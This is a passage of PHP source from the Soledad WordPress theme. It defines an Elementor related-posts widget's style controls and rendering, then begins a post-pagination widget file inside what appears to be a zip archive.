					'tags'        => 'Tags',
					'primary_cat' => 'Primary Category from "Yoast SEO" or "Rank Math" plugin'
				)
			]
		);

		$this->add_control(
			'penci_post_related_grid',
			[
				'label' => esc_html__( 'Make Related Posts Display in a Grid Layout ( not Slider )', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'penci_post_related_dots',
			[
				'label' => esc_html__( 'Hide Dots On Carousel Related Posts', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'penci_post_related_arrows',
			[
				'label' => esc_html__( 'Enable Next/Prev Button On Carousel Related Posts', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'penci_post_related_icons',
			[
				'label' => esc_html__( 'Enable Posts Format Icons in Related Posts', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'penci_hide_date_related',
			[
				'label' => esc_html__( 'Hide Post Date on Related Posts', 'soledad' ),
				'type'  => \Elementor\Controls_Manager::SWITCHER,
			]
		);

		$this->end_controls_section();

        // heading
		$this->start_controls_section( 'section_title_block', array(
			'label'     => __( 'Heading Title', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_hide_heading' => 'yes' ]
		) );
		$this->add_control( 'hide_block_heading', array(
			'label' => __( 'Hide Heading Title', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HIDDEN,
		) );
		$this->add_control( 'heading_title_style', array(
			'label'   => __( 'Choose Style', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''                  => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'style-1'           => esc_html__( 'Style 1', 'soledad' ),
				'style-2'           => esc_html__( 'Style 2', 'soledad' ),
				'style-3'           => esc_html__( 'Style 3', 'soledad' ),
				'style-4'           => esc_html__( 'Style 4', 'soledad' ),
				'style-5'           => esc_html__( 'Style 5', 'soledad' ),
				'style-6'           => esc_html__( 'Style 6 - Only Text', 'soledad' ),
				'style-7'           => esc_html__( 'Style 7', 'soledad' ),
				'style-9'           => esc_html__( 'Style 8', 'soledad' ),
				'style-8'           => esc_html__( 'Style 9 - Custom Background Image', 'soledad' ),
				'style-10'          => esc_html__( 'Style 10', 'soledad' ),
				'style-11'          => esc_html__( 'Style 11', 'soledad' ),
				'style-12'          => esc_html__( 'Style 12', 'soledad' ),
				'style-13'          => esc_html__( 'Style 13', 'soledad' ),
				'style-14'          => esc_html__( 'Style 14', 'soledad' ),
				'style-15'          => esc_html__( 'Style 15', 'soledad' ),
				'style-16'          => esc_html__( 'Style 16', 'soledad' ),
				'style-2 style-17'  => esc_html__( 'Style 17', 'soledad' ),
				'style-18'          => esc_html__( 'Style 18', 'soledad' ),
				'style-18 style-19' => esc_html__( 'Style 19', 'soledad' ),
				'style-18 style-20' => esc_html__( 'Style 20', 'soledad' ),
				'style-21'          => __( 'Style 21', 'soledad' ),
				'style-22'          => __( 'Style 22', 'soledad' ),
				'style-23'          => __( 'Style 23', 'soledad' ),
				'style-24'          => __( 'Style 24', 'soledad' ),
				'style-25'          => __( 'Style 25', 'soledad' ),
				'style-26'          => __( 'Style 26', 'soledad' ),
				'style-27'          => __( 'Style 27', 'soledad' ),
				'style-28'          => __( 'Style 28', 'soledad' ),
			)
		) );
		$this->add_control( 'heading', array(
			'label'   => __( 'Heading Title', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::HIDDEN,
			'default' => __( 'Heading Title', 'soledad' ),
		) );
		$this->add_control( 'heading_title_link', array(
			'label'       => __( 'Title url', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::URL,
			'placeholder' => __( 'https://your-link.com', 'soledad' ),
		) );
		$this->add_control( 'block_title_align', array(
			'label'   => __( 'Heading Align', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''               => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'pcalign-left'   => esc_html__( 'Left', 'soledad' ),
				'pcalign-center' => esc_html__( 'Center', 'soledad' ),
				'pcalign-right'  => esc_html__( 'Right', 'soledad' )
			)
		) );
		$this->add_control( 'heading_icon_pos', array(
			'label'     => __( 'Align Icon on Style 15', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''              => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'pciconp-right' => esc_html__( 'Right', 'soledad' ),
				'pciconp-left'  => esc_html__( 'Left', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_control( 'heading_icon', array(
			'label'     => __( 'Custom Icon on Style 15', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''             => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'pcicon-right' => esc_html__( 'Arrow Right', 'soledad' ),
				'pcicon-left'  => esc_html__( 'Arrow Left', 'soledad' ),
				'pcicon-down'  => esc_html__( 'Arrow Down', 'soledad' ),
				'pcicon-up'    => esc_html__( 'Arrow Up', 'soledad' ),
				'pcicon-star'  => esc_html__( 'Star', 'soledad' ),
				'pcicon-bars'  => esc_html__( 'Bars', 'soledad' ),
				'pcicon-file'  => esc_html__( 'File', 'soledad' ),
				'pcicon-fire'  => esc_html__( 'Fire', 'soledad' ),
				'pcicon-book'  => esc_html__( 'Book', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->end_controls_section();
		// endheading

		$this->start_controls_section(
			'color_style',
			[
				'label' => esc_html__( 'Color & Styles', 'soledad' ),
				'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
			]
		);

        $this->add_control( 'heading_align', [
			'label'   => __( 'Content Align', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::CHOOSE,
			'default' => 'center',
			'options' => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'  => true,
			'selectors' => ['{{WRAPPER}} .item-related' =>'text-align:{{VALUE}}']
		] );

        $this->add_responsive_control(
			'post_thumbnail_ratio',
			[
				'label' => 'Post Thumbnail Ratio',
				'type'  => \Elementor\Controls_Manager::SLIDER,
                'range' => [
					'px' => [
						'min' => 0,
						'max' => 300,
					],
				],
				'selectors' => [
					'{{WRAPPER }} .penci-image-holder::before' => 'padding-top: {{SIZE}}%',
				],
			]
		);

        $this->add_responsive_control(
			'post_thumbnail_spacing',
			[
				'label' => 'Spacing Between Thumbnail & Title',
				'type'  => \Elementor\Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER }} .item-related > a' => 'margin-bottom: {{SIZE}}{{UNIT}}',
				],
			]
		);

        $this->add_responsive_control(
			'post_header_spacing',
			[
				'label' => 'Spacing Between Post Title & Meta',
				'type'  => \Elementor\Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER }} .item-related span.date' => 'margin-top: {{SIZE}}{{UNIT}}',
				],
			]
		);

		$this->add_control(
			'post_heading_settings',
			[
				'label' => 'Heading Title',
				'type'  => \Elementor\Controls_Manager::HEADING,
			]
		);

		$this->add_group_control(
			\Elementor\Group_Control_Typography::get_type(), array(
				'name'     => 'heading_title_typo',
				'label'    => __( 'Typography for Heading Title', 'soledad' ),
				'selector' => '{{WRAPPER}} .post-title-box h4',
			)
		);

		$this->add_control(
			'heading_title_color',
			[
				'label'     => 'Heading Title Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .post-title-box h4' => 'color:{{VALUE}}' ],
			]
		);

        $this->add_control(
			'heading_title_border',
			[
				'label'     => 'Heading Title Borders Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .post-title-box h4:before,{{WRAPPER}} .post-title-box h4:after' => 'background-color:{{VALUE}}' ],
			]
		);

		$this->add_control(
			'post_title_settings',
			[
				'label' => 'Post Title',
				'type'  => \Elementor\Controls_Manager::HEADING,
			]
		);

		$this->add_group_control(
			\Elementor\Group_Control_Typography::get_type(), array(
				'name'     => 'post_title_typo',
				'label'    => __( 'Typography for Post Title', 'soledad' ),
				'selector' => '{{WRAPPER}} .post-related .item-related > h3 a',
			)
		);

		$this->add_control(
			'post_title_color',
			[
				'label'     => 'Post Title Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .post-related .item-related > h3 a' => 'color:{{VALUE}}' ],
			]
		);

		$this->add_control(
			'post_title_hcolor',
			[
				'label'     => 'Post Title Hover Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .post-related .item-related > h3 a:hover' => 'color:{{VALUE}}' ],
			]
		);

		$this->add_control(
			'post_date_settings',
			[
				'label' => 'Post Date',
				'type'  => \Elementor\Controls_Manager::HEADING,
			]
		);

		$this->add_group_control(
			\Elementor\Group_Control_Typography::get_type(), array(
				'name'     => 'post_date_typo',
				'label'    => __( 'Typography for Post Date', 'soledad' ),
				'selector' => '{{WRAPPER}} .post-related .item-related .date',
			)
		);

		$this->add_control(
			'post_date_color',
			[
				'label'     => 'Post Date Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .post-related .item-related .date' => 'color:{{VALUE}}' ],
			]
		);

		$this->end_controls_section();

        /* custom heading style*/
		$this->start_controls_section( 'section_title_block_style', array(
			'label'     => __( 'Block Heading Title', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_STYLE,
			'condition' => [ 'penci_hide_heading' => 'yes' ]
		) );

		$this->add_control( 'block_title_color', array(
			'label'     => __( 'Title Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-border-arrow .inner-arrow'                                   => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-border-arrow .inner-arrow a'                                 => 'color: {{VALUE}};',
				'{{WRAPPER}} .home-pupular-posts-title, {{WRAPPER}} .home-pupular-posts-title a' => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'block_title_hcolor', array(
			'label'     => __( 'Title Hover Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-border-arrow .inner-arrow a:hover' => 'color: {{VALUE}} !important;',
				'{{WRAPPER}} .home-pupular-posts-title a:hover'        => 'color: {{VALUE}} !important;',
			),
		) );
		$this->add_control( 'block_title_bcolor', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-border-arrow .inner-arrow,' . '{{WRAPPER}} .style-4.penci-border-arrow .inner-arrow:before,' . '{{WRAPPER}} .style-4.penci-border-arrow .inner-arrow:after,' . '{{WRAPPER}} .style-5.penci-border-arrow,' . '{{WRAPPER}} .style-7.penci-border-arrow,' . '{{WRAPPER}} .style-9.penci-border-arrow' => 'border-color: {{VALUE}}',
				'{{WRAPPER}} .penci-border-arrow:before'                                                                                                                                                                                                                                                                               => 'border-top-color: {{VALUE}}',
				'{{WRAPPER}} .style-16.penci-border-arrow:after'                                                                                                                                                                                                                                                                       => 'background-color: {{VALUE}}',
				'{{WRAPPER}} .penci-home-popular-posts'                                                                                                                                                                                                                                                                                => 'border-top-color: {{VALUE}}',
			)
		) );
		$this->add_control( 'btitle_outer_bcolor', array(
			'label'     => __( 'Borders Outer Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}}  .penci-border-arrow:after' => 'border-color: {{VALUE}};'
			)
		) );
		$this->add_control( 'btitle_style10_btopcolor', array(
			'label'     => __( 'Borders Top', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-homepage-title.style-10' => 'border-top-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => 'style-10' ),
		) );

		$this->add_control( 'btitle_style5_bcolor', array(
			'label'     => __( 'Borders Bottom', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-5.penci-border-arrow'              => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-10'           => 'border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-12.penci-border-arrow'             => 'border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-11.penci-border-arrow'             => 'border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-5.penci-border-arrow .inner-arrow' => 'border-bottom-color: {{VALUE}};',
			),
			'condition' => array( 'heading_title_style' => array( 'style-5', 'style-10', 'style-11', 'style-12' ) ),
		) );
		$this->add_control( 'btitle_style78_bcolor', array(
			'label'     => __( 'Small Borders Bottom on Style 7 & 8', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-7.penci-border-arrow .inner-arrow:before' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .style-9.penci-border-arrow .inner-arrow:before' => 'background-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => array( 'style-7', 'style-9' ) ),
		) );
		$this->add_control( 'btitle_shapes_color', array(
			'label'     => __( 'Background Color for Shapes', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-13.pcalign-center .inner-arrow:before,{{WRAPPER}} .style-13.pcalign-right .inner-arrow:before'                                         => 'border-left-color: {{VALUE}};',
				'{{WRAPPER}} .style-13.pcalign-center .inner-arrow:after,{{WRAPPER}} .style-13.pcalign-left .inner-arrow:after'                                            => ' border-right-color: {{VALUE}};',
				'{{WRAPPER}} .style-12 .inner-arrow:before,{{WRAPPER}} .style-12.pcalign-right .inner-arrow:after,{{WRAPPER}} .style-12.pcalign-center .inner-arrow:after' => ' border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-11 .inner-arrow:after,{{WRAPPER}} .style-11 .inner-arrow:before'                                                                       => ' border-top-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => array( 'style-13', 'style-11', 'style-12' ) ),
		) );

		$this->add_control( 'btitle_inshapes_color', array(
			'label'     => __( 'Background Color for Shapes Inside', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-11 .inner-arrow:after,{{WRAPPER}} .style-11 .inner-arrow:before' => ' border-right-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => array( 'style-11' ) ),
		) );

		$this->add_control( 'bgstyle15_color', array(
			'label'       => __( 'Background Color for Icon', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::COLOR,
			'default'     => '',
			'description' => __( 'For Icon on Style 15', 'soledad' ),
			'selectors'   => array(
				'{{WRAPPER}} .style-15.penci-border-arrow:before' => 'background-color: {{VALUE}};',
			),
			'condition'   => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_control( 'iconstyle15_color', array(
			'label'       => __( 'Icon Color', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::COLOR,
			'default'     => '',
			'description' => __( 'For Icon on Style 15', 'soledad' ),
			'selectors'   => array(
				'{{WRAPPER}} .style-15.penci-border-arrow:after' => 'color: {{VALUE}};',
			),
			'condition'   => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_responsive_control( 'iconstyle15_size', array(
			'label'       => __( 'Custom Font Size for Icon', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SLIDER,
			'description' => __( 'For Icon on Style 15', 'soledad' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .style-15.penci-border-arrow:after' => 'font-size: {{SIZE}}px;',
			),
			'condition'   => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_control( 'lines_color', array(
			'label'       => __( 'Color for Lines', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::COLOR,
			'default'     => '',
			'description' => __( 'For Lines on Styles 18, 19, 20', 'soledad' ),
			'selectors'   => array(
				'{{WRAPPER}} .style-18.penci-border-arrow:after' => 'color: {{VALUE}}; background-image: linear-gradient( -45deg, transparent, transparent 30%, {{VALUE}} 30%, {{VALUE}} 50%, transparent 50%, transparent 80%, {{VALUE}} 80%);',
				'{{WRAPPER}} .style-19.penci-border-arrow:after' => 'background-image: linear-gradient( -90deg, transparent, transparent 30%, {{VALUE}} 30%, {{VALUE}} 50%, transparent 50%, transparent 80%, {{VALUE}} 80%);',
				'{{WRAPPER}} .style-20.penci-border-arrow:after' => 'background-image: linear-gradient( 0deg, transparent, transparent 30%, {{VALUE}} 30%, {{VALUE}} 50%, transparent 50%, transparent 80%, {{VALUE}} 80%);',
			),
			'condition'   => array(
				'heading_title_style' => array(
					'style-18',
					'style-18 style-19',
					'style-18 style-20'
				)
			),
		) );

		$this->add_control( 'btitle_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-2.penci-border-arrow:after'                                                                                                                                                                                                => 'border-color: transparent;border-top-color: {{VALUE}};',
				'{{WRAPPER}} .style-14 .inner-arrow:before,{{WRAPPER}} .style-11 .inner-arrow,' . '{{WRAPPER}} .style-12 .inner-arrow,{{WRAPPER}} .style-13 .inner-arrow,{{WRAPPER}} .style-15 .inner-arrow,' . '{{WRAPPER}} .penci-border-arrow .inner-arrow' => 'background-color: {{VALUE}};',
			)
		) );
		$this->add_control( 'btitle_outer_bgcolor', array(
			'label'     => __( 'Background Outer Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-border-arrow:after' => 'background-color: {{VALUE}};'
			)
		) );

		$this->add_control( 'btitle_style9_bgimg', array(
			'label'     => __( 'Select Background Image for Style 9', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::MEDIA,
			//'dynamic'     => array( 'active' => true ),
			//'responsive'  => true,
			//'render_type' => 'template',
			'default'   => array( 'id' => '', 'url' => '' ),
			'selectors' => array( '{{WRAPPER}} .style-8.penci-border-arrow .inner-arrow' => 'background-image: url("{{URL}}");' ),
			'condition' => array( 'heading_title_style' => 'style-8' ),
		) );

		$this->add_control( 'btitle_style9_repeat', array(
			'label'     => esc_html__( 'Background Image Repeat', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SELECT,
			'options'   => array(
				'no-repeat' => esc_html__( 'No Repeat', 'soledad' ),
				'repeat'    => esc_html__( 'Repeat', 'soledad' ),
				'repeat-x'  => esc_html__( 'Repeat X', 'soledad' ),
				'repeat-y'  => esc_html__( 'Repeat Y', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => 'style-8' ),
			'default'   => 'no-repeat',
			'selectors' => array( '{{WRAPPER}} .style-8.penci-border-arrow .inner-arrow' => 'background-repeat: {{VALUE}};' ),
		) );

		$this->add_control( 'btitle_style9_size', array(
			'label'     => esc_html__( 'Background Image Size', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SELECT,
			'options'   => array(
				'auto 100%' => esc_html__( 'With Auto - Height 100%', 'soledad' ),
				'100% auto' => esc_html__( 'Width 100% - Height Auto', 'soledad' ),
				'cover'     => esc_html__( 'Cover', 'soledad' ),
				'contain'   => esc_html__( 'Contain', 'soledad' ),
				'auto'      => esc_html__( 'Orininal Size', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => 'style-8' ),
			'default'   => 'auto 100%',
			'selectors' => array( '{{WRAPPER}} .style-8.penci-border-arrow .inner-arrow' => 'background-size: {{VALUE}};' ),
		) );

		$this->add_control( 'btitle_style9_pos', array(
			'label'     => esc_html__( 'Background Image Position', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SELECT,
			'options'   => array(
				'left top'      => esc_html__( 'Left Top', 'soledad' ),
				'left center'   => esc_html__( 'Left Center', 'soledad' ),
				'left bottom'   => esc_html__( 'Left Bottom', 'soledad' ),
				'right top'     => esc_html__( 'Right Top', 'soledad' ),
				'right center'  => esc_html__( 'Right Center', 'soledad' ),
				'right bottom'  => esc_html__( 'Right Bottom', 'soledad' ),
				'center top'    => esc_html__( 'Center Top', 'soledad' ),
				'center center' => esc_html__( 'Center', 'soledad' ),
				'center bottom' => esc_html__( 'Center Bottom', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => 'style-8' ),
			'default'   => 'left top',
			'selectors' => array( '{{WRAPPER}} .style-8.penci-border-arrow .inner-arrow' => 'background-position: {{VALUE}};' ),
		) );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'btitle_typo',
			'label'    => __( 'Block Title Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-border-arrow .inner-arrow',
		) );
		$this->end_controls_section();
		/* end custom heading*/

	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
        $settings = $this->get_settings();
		$data_auto = 'true';
        $auto      = $settings[ 'penci_post_related_autoplay' ];
        $related_style = $settings['penci_related_style'];
        if ( $auto == false ) {
            $data_auto = 'false';
        }
        $numbers_related = $settings[ 'penci_numbers_related_post' ];
        if ( ! isset( $numbers_related ) || $numbers_related < 1 ) {
            $numbers_related = 10;
        }
        $related_title_length = $settings[ 'penci_related_posts_title_length' ] ? $settings[ 'penci_related_posts_title_length' ] : 8;
        $data_loop            = '';
        $settings['heading'] = $settings['penci_post_related_text'];
        if ( $settings['penci_hide_heading'] == 'yes' ) {
			$this->markup_block_title( $settings );
		}
?>
<div class="pcrlt-<?php echo $related_style; ?> post-related<?php if ( $settings[ 'penci_post_related_grid' ] ): echo ' penci-posts-related-grid'; endif; ?>">
<?php if ($settings[ 'penci_post_related_text' ] && $settings['penci_hide_heading'] != 'yes' ): ?>
    <div class="post-title-box"><h4
                class="post-box-title"><?php echo $settings[ 'penci_post_related_text' ]; ?></h4></div>
                <?php endif;?>
	<?php if ( ! $settings[ 'penci_post_related_grid' ]) {
	$dcol_slides = $related_style == 'style-4' ? 2 : 3;
	$mcol_slides = $related_style == 'style-4' ? 1 : 2;
	$lazy_class = 'penci-lazy'; ?>
    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-related-carousel"
         data-lazy="true"<?php echo $data_loop; ?> data-item="<?php echo $dcol_slides;?>" data-desktop="<?php echo $dcol_slides;?>" data-tablet="<?php echo $mcol_slides;?>" data-tabsmall="<?php echo $mcol_slides;?>"
         data-auto="<?php echo $data_auto; ?>"
         data-speed="300"<?php if ( ! $settings[ 'penci_post_related_dots' ] ) {
		echo ' data-dots="true"';
	}
	if ( ! $settings[ 'penci_post_related_arrows' ] ) {
		echo ' data-nav="false"';
	} ?>>
	<div class="swiper-wrapper">
		<?php } else {
		$lazy_class = 'penci-lazy'; ?>
        <div class="penci-related-carousel penci-related-grid-display">
			<?php } ?>
			<?php for ($i=1;$i<$numbers_related;$i++): ?>
                <div class="item-related swiper-slide">
                	<div class="item-related-inner">
                		<?php 
                    	if ( 'style-2' == $related_style ) {
                    		echo '<a style="" class="penci-cat-name" href="#" rel="category tag"><span style="">Category Name</span></a>';
                    	}
                    	?>
	                <?php do_action('penci_bookmark_post',get_the_ID()); ?>
	                    <a class="related-thumb penci-image-holder <?php echo $lazy_class; ?>"
	                       data-bgset="<?php echo PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=200&h=300' ;?>"
	                       href="#" title="This is a post Title"></a>
	                    <div class="related-content">
	                    	<?php 
	                    	if ( 'style-4' == $related_style || 'style-5' == $related_style ) {
	                    		?>
	                    		<a class="penci-cat-name" href="#" rel="category tag"><span>Category Name</span></a>
	                    		<?php
	                    	}
	                    	?>
	                        <h3>
	                            <a href="#"><?php echo wp_trim_words( 'This is a post Title', $related_title_length, '...' ); ?></a>
	                        </h3>
							<?php if ( ! $settings[ 'penci_hide_date_related' ] ): ?>
	                            <span class="date"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
						</div>
					</div>
                </div>
			<?php
			endfor;
			if ( ! $settings[ 'penci_post_related_grid' ]) {
				echo '<div class="penci-owl-dots"></div></div>';
			}
			echo '</div></div>';
	}

    public static function markup_block_title( $args, $self = null ) {
		$defaults = array(
			'heading_title_style'  => 'style-1',
			'heading'              => '',
			'heading_title_link'   => '',
			'add_title_icon'       => '',
			'block_title_icon'     => '',
			'block_title_ialign'   => '',
			'block_title_align'    => '',
			'heading_icon_pos'     => '',
			'heading_icon'         => '',
			'block_title_marginbt' => '',
		);

		$r = wp_parse_args( $args, $defaults );

		if ( ! $r['heading'] ) {
			return;
		}

		if ( 'video_list' == $r['heading_title_style'] ) {
			return;
		}

		$heading_title = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
		$heading_align = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';


		if ( $r['heading_title_style'] ) {
			$heading_title = $r['heading_title_style'];
		}

		if ( $r['block_title_align'] ) {
			$heading_align = 'pcalign-' . $r['block_title_align'];
		}

		$heading_icon_pos    = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
		$heading_icon_design = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';

		if ( $r['heading_icon_pos'] ) {
			$heading_icon_pos = $r['heading_icon_pos'];
		}

		if ( $r['heading_icon'] ) {
			$heading_icon_design = $r['heading_icon'];
		}

		$classes = 'penci-border-arrow penci-homepage-title penci-home-latest-posts';
		$classes .= ' ' . $heading_title;
		$classes .= ' ' . $heading_align;
		$classes .= ' ' . $heading_icon_pos;
		$classes .= ' ' . $heading_icon_design;
		$classes .= $r['block_title_ialign'] ? ' block-title-icon-' . $r['block_title_ialign'] : ' block-title-icon-left';
		?>
        <div class="<?php echo esc_attr( $classes ); ?>">
            <h3 class="inner-arrow">
				<?php
				if ( $r['heading_title_link']['url'] ) {
					$self->add_render_attribute( 'link', 'href', $r['heading_title_link']['url'] );
					if ( $r['heading_title_link']['is_external'] ) {
						$self->add_render_attribute( 'link', 'target', '_blank' );
					}

					if ( $r['heading_title_link']['nofollow'] ) {
						$self->add_render_attribute( 'link', 'rel', 'nofollow' );
					}

					echo '<a ' . $self->get_render_attribute_string( 'link' ) . '>';
				} else {
					echo '<span>';
				}

				if ( $r['add_title_icon'] && $r['block_title_icon'] && 'left' == $r['block_title_ialign'] ) {
					\Elementor\Icons_Manager::render_icon( $r['block_title_icon'] );
				}
				echo do_shortcode( $r['heading'] );
				if ( $r['add_title_icon'] && $r['block_title_icon'] && 'right' == $r['block_title_ialign'] ) {
					\Elementor\Icons_Manager::render_icon( $r['block_title_icon'] );
				}
				if ( $r['heading_title_link'] ) {
					echo '</a>';
				} else {
					echo '</span>';
				}
				?>
            </h3>
        </div>
		<?php
	}

	protected function builder_content() {
		$this->overwrite_mods();
        $settings = $this->get_settings();
        $settings['heading'] = $settings['penci_post_related_text'];
        if ( $settings['penci_hide_heading'] == 'yes' ) {
			$this->markup_block_title( $settings );
		}
		get_template_part( 'inc/templates/related_posts' );
	}

	protected function overwrite_mods() {
		$settings = $this->get_settings();
		$mods     = [
            'penci_related_style',
			'penci_post_related_autoplay',
			'penci_numbers_related_post',
			'penci_related_orderby',
			'penci_related_sort_order',
			'penci_related_posts_title_length',
			'penci_related_by',
			'penci_post_related_grid',
			'penci_post_related_dots',
			'penci_post_related_arrows',
			'penci_post_related_icons',
			'penci_hide_date_related',
			'penci_post_related_text'
		];
		foreach ( $mods as $mod ) {
			$value = $settings[ $mod ];
            if ( $settings['penci_hide_heading'] == 'yes' && 'penci_post_related_text' == $mod ) {
			    $value = '';
		    }
			add_filter( 'theme_mod_' . $mod, function () use ( $value ) {
				return $value;
			} );
		}
	}
}
PK     N\crD  D  7  inc/template-builder/single-elements/postpagination.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSinglePostpagination extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Post Pagination', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-navigation';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'post', 'pagination' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-pnavi elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-post-pagination';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'penci_post_nav_style', array(
			'label'     => __( 'Style', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SELECT,
			'default'   => '',
			'options'   => [
				'style-1'       => esc_html__( 'Style 1', 'soledad' ),
